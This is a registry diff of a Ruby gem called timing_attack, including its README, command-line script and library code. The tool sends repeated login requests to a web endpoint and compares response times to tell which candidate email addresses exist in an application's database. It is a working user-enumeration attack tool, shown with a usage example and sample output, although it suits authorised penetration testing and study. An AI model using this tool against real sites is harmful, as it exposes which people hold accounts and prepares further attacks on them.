timing_attack 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +10 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/Gemfile +4 -0
- data/README.md +89 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/exe/timing_attack +41 -0
- data/lib/timing_attack/attacker.rb +130 -0
- data/lib/timing_attack/test_case.rb +56 -0
- data/lib/timing_attack/version.rb +3 -0
- data/lib/timing_attack.rb +8 -0
- data/timing_attack.gemspec +27 -0
- metadata +130 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: d03f591c320a5983d1a95d594e0ac067f79f9019
|
4
|
+
data.tar.gz: 587b251ddbe7ee8698fb9f1f6309ce2c0934b915
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 599c51ebac9e5b3ca49fec6d3364682427de3d6c85eda144b981c7138393cb658b2a88ac11f5a1eecef7b768569c3eb212a151634a34012758af18267fa05a26
|
7
|
+
data.tar.gz: c61b9cf40bcb33a9beed350d1f39b79a7f93c67430100c9fb021ca6bd23a72defc7a8814b7e7e5e78db61b2bbefe74ea02d3a5fa3a8eaf40e54433b6ba4e39bd
|
data/.gitignore
ADDED
data/.rspec
ADDED
data/.travis.yml
ADDED
data/Gemfile
ADDED
data/README.md
ADDED
@@ -0,0 +1,89 @@
|
|
1
|
+
# timing_attack
|
2
|
+
|
3
|
+
Profile web applications, sorting inputs into two categories based on
|
4
|
+
discrepancies in the application's response time.
|
5
|
+
|
6
|
+
## Installation
|
7
|
+
|
8
|
+
```bash
|
9
|
+
% gem install timing_attack
|
10
|
+
```
|
11
|
+
|
12
|
+
## Usage
|
13
|
+
|
14
|
+
```
|
15
|
+
timing_attack [options] -a <input> -b <input> -u <target> <inputs>
|
16
|
+
-u, --url URL URL of endpoint to profile
|
17
|
+
-a, --a-example A_EXAMPLE Known test case that belongs to Group A
|
18
|
+
-b, --b-example B_EXAMPLE Known test case that belongs to Group B
|
19
|
+
-n, --number NUM Requests per input
|
20
|
+
--a-name A_NAME Name of Group A
|
21
|
+
--b-name B_NAME Name of Group B
|
22
|
+
-p, --post Use POST, not GET
|
23
|
+
-q, --quiet Quiet mode (don't display progress bars)
|
24
|
+
-v, --version Print version information
|
25
|
+
-h, --help Display this screen
|
26
|
+
```
|
27
|
+
|
28
|
+
**NB**: If the provided examples are invalid, discvery will fail. Always check
|
29
|
+
your results! If very similar inputs are being sorted differently, you may have
|
30
|
+
used bad training data.
|
31
|
+
|
32
|
+
### An example
|
33
|
+
Consider that we we want to gather information from a Rails server running
|
34
|
+
locally at `http://localhost:3000`. Let's say that we know the following:
|
35
|
+
* `charles@poodles.com` exists in the database
|
36
|
+
* `invalid@fake.fake` does not exist in the database
|
37
|
+
|
38
|
+
And we want to know if `candidate@address.com` and `other@address.com` exist in
|
39
|
+
the database.
|
40
|
+
|
41
|
+
We execute (using `-q` to suppress the progress bar)
|
42
|
+
```bash
|
43
|
+
% timing_attack -q -u http://localhost:3000/login \
|
44
|
+
-a charles@poodles.com -b invalid@fake.fake \
|
45
|
+
candidate@address.com other@address.com
|
46
|
+
```
|
47
|
+
```
|
48
|
+
Group A:
|
49
|
+
candidate@address.com ~0.1969s
|
50
|
+
Group B:
|
51
|
+
other@address.com ~0.1096s
|
52
|
+
```
|
53
|
+
`candidate@address.com` is in the same group as `charles@poodles.com` (Group A),
|
54
|
+
while `other@address.com` is in Group B with `invalid@fake.fake`
|
55
|
+
Thus we know that `candidate@address.com` exists in the database, and that
|
56
|
+
`other@example.com` does not.
|
57
|
+
|
58
|
+
To make things a bit friendlier, we can rename groups with the `--a-name` and
|
59
|
+
`--b-name` options:
|
60
|
+
```bash
|
61
|
+
% timing_attack -q -u http://localhost:3000/login \
|
62
|
+
-a charles@poodles.com -b invalid@fake.fake \
|
63
|
+
--a-name 'Valid logins' --b-name 'Invalid logins' \
|
64
|
+
candidate@address.com other@address.com
|
65
|
+
```
|
66
|
+
```
|
67
|
+
Valid logins:
|
68
|
+
candidate@address.com ~0.1988s
|
69
|
+
Invalid logins:
|
70
|
+
other@address.com ~0.1065s
|
71
|
+
```
|
72
|
+
|
73
|
+
## Contributing
|
74
|
+
|
75
|
+
Bug reports and pull requests are welcome [here](https://github.com/ffleming/timing_attack).
|
76
|
+
|
77
|
+
## Disclaimer
|
78
|
+
|
79
|
+
TimingAttack is quick and dirty. It is meant to exploit *known* timing attacks based
|
80
|
+
upon two known values. TimingAttack is *not* for discovering the existence of
|
81
|
+
timing-based vulnerabilities.
|
82
|
+
|
83
|
+
Also, don't use TimingAttack against machines that aren't yours.
|
84
|
+
|
85
|
+
## Todo
|
86
|
+
* Tests
|
87
|
+
* Better heuristic than naïve mean comparison
|
88
|
+
* Auto-discovering heuristic that doesn't require example test cases
|
89
|
+
* Customizable query parameters
|
data/Rakefile
ADDED
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "timing_attack"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start
|
data/bin/setup
ADDED
data/exe/timing_attack
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
require 'timing_attack'
|
3
|
+
require 'optparse'
|
4
|
+
|
5
|
+
options = {}
|
6
|
+
opt_parser = OptionParser.new do |opts|
|
7
|
+
opts.program_name = File.basename(__FILE__)
|
8
|
+
opts.banner = "#{opts.program_name} [options] -a <input> -b <input> -u <target> <inputs>"
|
9
|
+
opts.on("-u URL", "--url URL", "URL of endpoint to profile") { |str| options[:url] = str }
|
10
|
+
opts.on("-a A_EXAMPLE", "--a-example A_EXAMPLE", "Known test case that belongs to Group A") { |str| options[:a_example] = str }
|
11
|
+
opts.on("-b B_EXAMPLE", "--b-example B_EXAMPLE", "Known test case that belongs to Group B") { |str| options[:b_example] = str }
|
12
|
+
opts.on("-n NUM", "--number NUM", "Requests per input") { |num| options[:iterations] = num.to_i }
|
13
|
+
opts.on("--a-name A_NAME", "Name of Group A") { |str| options[:a_name] = str }
|
14
|
+
opts.on("--b-name B_NAME", "Name of Group B") { |str| options[:b_name] = str }
|
15
|
+
opts.on("-p", "--post", "Use POST, not GET") { |bool| options[:method] = bool ? :post : :get }
|
16
|
+
opts.on("-q", "--quiet", "Quiet mode (don't display progress bars)") { |bool| options[:verbose] = !bool }
|
17
|
+
opts.on_tail("-v", "--version", "Print version information") do
|
18
|
+
gem = Gem::Specification.find_by_name('timing_attack')
|
19
|
+
puts "#{gem.name} #{gem.version}"
|
20
|
+
exit
|
21
|
+
end
|
22
|
+
opts.on_tail("-h", "--help", "Display this screen") { puts opts ; exit }
|
23
|
+
end
|
24
|
+
|
25
|
+
begin
|
26
|
+
opt_parser.parse!
|
27
|
+
rescue OptionParser::InvalidOption => e
|
28
|
+
STDERR.puts e.message
|
29
|
+
puts opt_parser
|
30
|
+
exit
|
31
|
+
end
|
32
|
+
|
33
|
+
begin
|
34
|
+
atk = TimingAttack::Attacker.new(inputs: ARGV, options: options)
|
35
|
+
atk.run!
|
36
|
+
puts atk
|
37
|
+
rescue ArgumentError => e
|
38
|
+
STDERR.puts e.message
|
39
|
+
puts opt_parser
|
40
|
+
exit
|
41
|
+
end
|
@@ -0,0 +1,130 @@
|
|
1
|
+
module TimingAttack
|
2
|
+
class Attacker
|
3
|
+
def initialize(inputs: [], options: {})
|
4
|
+
@options = DEFAULT_OPTIONS.merge(options)
|
5
|
+
unless @options.has_key? :width
|
6
|
+
@options[:width] = [a_name, b_name, *inputs].map(&:length).push(30).sort.last
|
7
|
+
end
|
8
|
+
%i(a_example b_example url).each do |arg|
|
9
|
+
raise ArgumentError.new("#{arg} is a required argument") unless options.has_key? arg
|
10
|
+
end
|
11
|
+
@attacks = inputs.map { |input| TestCase.new(input: input, options: @options) }
|
12
|
+
end
|
13
|
+
|
14
|
+
def run!
|
15
|
+
puts "Target: #{url}" if verbose?
|
16
|
+
warmup!
|
17
|
+
benchmark!
|
18
|
+
attack!
|
19
|
+
end
|
20
|
+
|
21
|
+
def to_s
|
22
|
+
ret = ""
|
23
|
+
if verbose?
|
24
|
+
ret << "Benchmark results\n"
|
25
|
+
ret << " #{a_name.ljust(width)}~#{sprintf('%.4f', a_benchmark.mean_time,)}s\n"
|
26
|
+
ret << " #{b_name.ljust(width)}~#{sprintf('%.4f', b_benchmark.mean_time)}s\n"
|
27
|
+
end
|
28
|
+
ret << attack_string
|
29
|
+
end
|
30
|
+
|
31
|
+
private
|
32
|
+
|
33
|
+
attr_reader :attacks, :options
|
34
|
+
|
35
|
+
def warmup!
|
36
|
+
@warmup_test ||= TestCase.new(input: a_example, options: options)
|
37
|
+
2.times { @warmup_test.test! }
|
38
|
+
end
|
39
|
+
|
40
|
+
def benchmark!
|
41
|
+
iterations.times do
|
42
|
+
[a_benchmark, b_benchmark].each do |test_case|
|
43
|
+
test_case.test!
|
44
|
+
benchmark_bar.increment
|
45
|
+
end
|
46
|
+
end
|
47
|
+
end
|
48
|
+
|
49
|
+
def attack!
|
50
|
+
iterations.times do
|
51
|
+
attacks.each do |attack|
|
52
|
+
attack.test!
|
53
|
+
attack_bar.increment
|
54
|
+
end
|
55
|
+
end
|
56
|
+
attacks.each { |attack| attack.derive_group_from(a_test: a_benchmark, b_test: b_benchmark) }
|
57
|
+
end
|
58
|
+
|
59
|
+
def a_benchmark
|
60
|
+
@a_benchmark ||= TestCase.new(input: a_example, options: options)
|
61
|
+
end
|
62
|
+
|
63
|
+
def b_benchmark
|
64
|
+
@b_benchmark ||= TestCase.new(input: b_example, options: options)
|
65
|
+
end
|
66
|
+
|
67
|
+
def indent(str)
|
68
|
+
" #{str.ljust(width)}"
|
69
|
+
end
|
70
|
+
|
71
|
+
def a_attacks
|
72
|
+
attacks.select { |a| a.group_a? }
|
73
|
+
end
|
74
|
+
|
75
|
+
def b_attacks
|
76
|
+
attacks.select { |a| a.group_b? }
|
77
|
+
end
|
78
|
+
|
79
|
+
def attack_string
|
80
|
+
ret = ""
|
81
|
+
unless a_attacks.empty?
|
82
|
+
ret << "#{a_name}:\n"
|
83
|
+
ret << a_attacks.map {|a| indent(a.to_s)}.join("\n")
|
84
|
+
end
|
85
|
+
unless b_attacks.empty?
|
86
|
+
ret << "\n#{b_name}:\n"
|
87
|
+
ret << b_attacks.map {|a| indent(a.to_s)}.join("\n")
|
88
|
+
end
|
89
|
+
"#{ret}\n"
|
90
|
+
end
|
91
|
+
|
92
|
+
def attack_bar
|
93
|
+
return null_bar unless verbose?
|
94
|
+
@attack_bar ||= ProgressBar.create(title: " Attacking".ljust(15),
|
95
|
+
total: iterations * attacks.length,
|
96
|
+
format: bar_format
|
97
|
+
)
|
98
|
+
end
|
99
|
+
|
100
|
+
def benchmark_bar
|
101
|
+
return null_bar unless verbose?
|
102
|
+
@benchmark_bar ||= ProgressBar.create(title: " Benchmarking".ljust(15),
|
103
|
+
total: iterations * 2,
|
104
|
+
format: bar_format
|
105
|
+
)
|
106
|
+
end
|
107
|
+
|
108
|
+
def bar_format
|
109
|
+
@bar_format ||= "%t (%E) |%B|"
|
110
|
+
end
|
111
|
+
|
112
|
+
def null_bar
|
113
|
+
@null_bar_klass ||= Struct.new('NullProgressBar', :increment)
|
114
|
+
@null_bar ||= @null_bar_klass.new
|
115
|
+
end
|
116
|
+
|
117
|
+
%i(iterations url verbose a_name b_name a_example b_example width method).each do |sym|
|
118
|
+
define_method(sym) { options.fetch sym }
|
119
|
+
end
|
120
|
+
alias_method :verbose?, :verbose
|
121
|
+
|
122
|
+
DEFAULT_OPTIONS = {
|
123
|
+
verbose: true,
|
124
|
+
a_name: "Group A",
|
125
|
+
b_name: "Group B",
|
126
|
+
method: :get,
|
127
|
+
iterations: 5
|
128
|
+
}.freeze
|
129
|
+
end
|
130
|
+
end
|
@@ -0,0 +1,56 @@
|
|
1
|
+
module TimingAttack
|
2
|
+
class TestCase
|
3
|
+
attr_reader :input
|
4
|
+
def initialize(input: , options: {})
|
5
|
+
@input = input
|
6
|
+
@options = options
|
7
|
+
@times = []
|
8
|
+
end
|
9
|
+
|
10
|
+
def test!
|
11
|
+
httparty_opts = {
|
12
|
+
body: {
|
13
|
+
login: input,
|
14
|
+
password: "test" * 1000
|
15
|
+
},
|
16
|
+
timeout: 5
|
17
|
+
}
|
18
|
+
before = Time.now
|
19
|
+
HTTParty.send(options.fetch(:method), options.fetch(:url), httparty_opts)
|
20
|
+
diff = (Time.now - before)
|
21
|
+
times.push(diff)
|
22
|
+
end
|
23
|
+
|
24
|
+
def to_s
|
25
|
+
"#{input.ljust(options.fetch(:width))}~#{sprintf('%.4f', mean_time)}s"
|
26
|
+
end
|
27
|
+
|
28
|
+
def derive_group_from(a_test: , b_test: )
|
29
|
+
unless a_test.is_a?(TestCase) && b_test.is_a?(TestCase)
|
30
|
+
raise ArgumentError.new("a_test and b_test must be TestCases")
|
31
|
+
end
|
32
|
+
d_a = (mean_time - a_test.mean_time).abs
|
33
|
+
d_b = (mean_time - b_test.mean_time).abs
|
34
|
+
@group_a = (d_a < d_b)
|
35
|
+
end
|
36
|
+
|
37
|
+
def group_a
|
38
|
+
raise ArgumentError.new("Have not yet determined group membership") if @group_a.nil?
|
39
|
+
@group_a
|
40
|
+
end
|
41
|
+
alias_method :group_a?, :group_a
|
42
|
+
|
43
|
+
def group_b
|
44
|
+
!group_a
|
45
|
+
end
|
46
|
+
alias_method :group_b?, :group_b
|
47
|
+
|
48
|
+
def mean_time
|
49
|
+
times.reduce(:+) / times.size.to_f
|
50
|
+
end
|
51
|
+
|
52
|
+
private
|
53
|
+
|
54
|
+
attr_reader :times, :options
|
55
|
+
end
|
56
|
+
end
|
@@ -0,0 +1,27 @@
|
|
1
|
+
# coding: utf-8
|
2
|
+
lib = File.expand_path('../lib', __FILE__)
|
3
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
4
|
+
require 'timing_attack/version'
|
5
|
+
|
6
|
+
Gem::Specification.new do |spec|
|
7
|
+
spec.name = "timing_attack"
|
8
|
+
spec.version = TimingAttack::VERSION
|
9
|
+
spec.authors = ["Forrest Fleming"]
|
10
|
+
spec.email = ["ffleming@gmail.com"]
|
11
|
+
|
12
|
+
spec.summary = "Performtiming attacks against web applications"
|
13
|
+
spec.description = "Profile web applications by noting differences in response times based on input values"
|
14
|
+
spec.homepage = "https://www.github.com/ffleming/timing_attack"
|
15
|
+
|
16
|
+
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
|
17
|
+
spec.bindir = "exe"
|
18
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
19
|
+
spec.require_paths = ["lib"]
|
20
|
+
spec.licenses = %q(MIT)
|
21
|
+
|
22
|
+
spec.add_runtime_dependency "ruby-progressbar", "~> 1.8"
|
23
|
+
spec.add_runtime_dependency "httparty", "~> 0.13.3"
|
24
|
+
spec.add_development_dependency "bundler", "~> 1.12"
|
25
|
+
spec.add_development_dependency "rake", "~> 10.0"
|
26
|
+
spec.add_development_dependency "rspec", "~> 3.0"
|
27
|
+
end
|
metadata
ADDED
@@ -0,0 +1,130 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: timing_attack
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Forrest Fleming
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2016-07-16 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: ruby-progressbar
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '1.8'
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '1.8'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: httparty
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: 0.13.3
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: 0.13.3
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: bundler
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - "~>"
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '1.12'
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - "~>"
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '1.12'
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: rake
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - "~>"
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: '10.0'
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - "~>"
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '10.0'
|
69
|
+
- !ruby/object:Gem::Dependency
|
70
|
+
name: rspec
|
71
|
+
requirement: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - "~>"
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '3.0'
|
76
|
+
type: :development
|
77
|
+
prerelease: false
|
78
|
+
version_requirements: !ruby/object:Gem::Requirement
|
79
|
+
requirements:
|
80
|
+
- - "~>"
|
81
|
+
- !ruby/object:Gem::Version
|
82
|
+
version: '3.0'
|
83
|
+
description: Profile web applications by noting differences in response times based
|
84
|
+
on input values
|
85
|
+
email:
|
86
|
+
- ffleming@gmail.com
|
87
|
+
executables:
|
88
|
+
- timing_attack
|
89
|
+
extensions: []
|
90
|
+
extra_rdoc_files: []
|
91
|
+
files:
|
92
|
+
- ".gitignore"
|
93
|
+
- ".rspec"
|
94
|
+
- ".travis.yml"
|
95
|
+
- Gemfile
|
96
|
+
- README.md
|
97
|
+
- Rakefile
|
98
|
+
- bin/console
|
99
|
+
- bin/setup
|
100
|
+
- exe/timing_attack
|
101
|
+
- lib/timing_attack.rb
|
102
|
+
- lib/timing_attack/attacker.rb
|
103
|
+
- lib/timing_attack/test_case.rb
|
104
|
+
- lib/timing_attack/version.rb
|
105
|
+
- timing_attack.gemspec
|
106
|
+
homepage: https://www.github.com/ffleming/timing_attack
|
107
|
+
licenses:
|
108
|
+
- MIT
|
109
|
+
metadata: {}
|
110
|
+
post_install_message:
|
111
|
+
rdoc_options: []
|
112
|
+
require_paths:
|
113
|
+
- lib
|
114
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
115
|
+
requirements:
|
116
|
+
- - ">="
|
117
|
+
- !ruby/object:Gem::Version
|
118
|
+
version: '0'
|
119
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
120
|
+
requirements:
|
121
|
+
- - ">="
|
122
|
+
- !ruby/object:Gem::Version
|
123
|
+
version: '0'
|
124
|
+
requirements: []
|
125
|
+
rubyforge_project:
|
126
|
+
rubygems_version: 2.4.8
|
127
|
+
signing_key:
|
128
|
+
specification_version: 4
|
129
|
+
summary: Performtiming attacks against web applications
|
130
|
+
test_files: []
|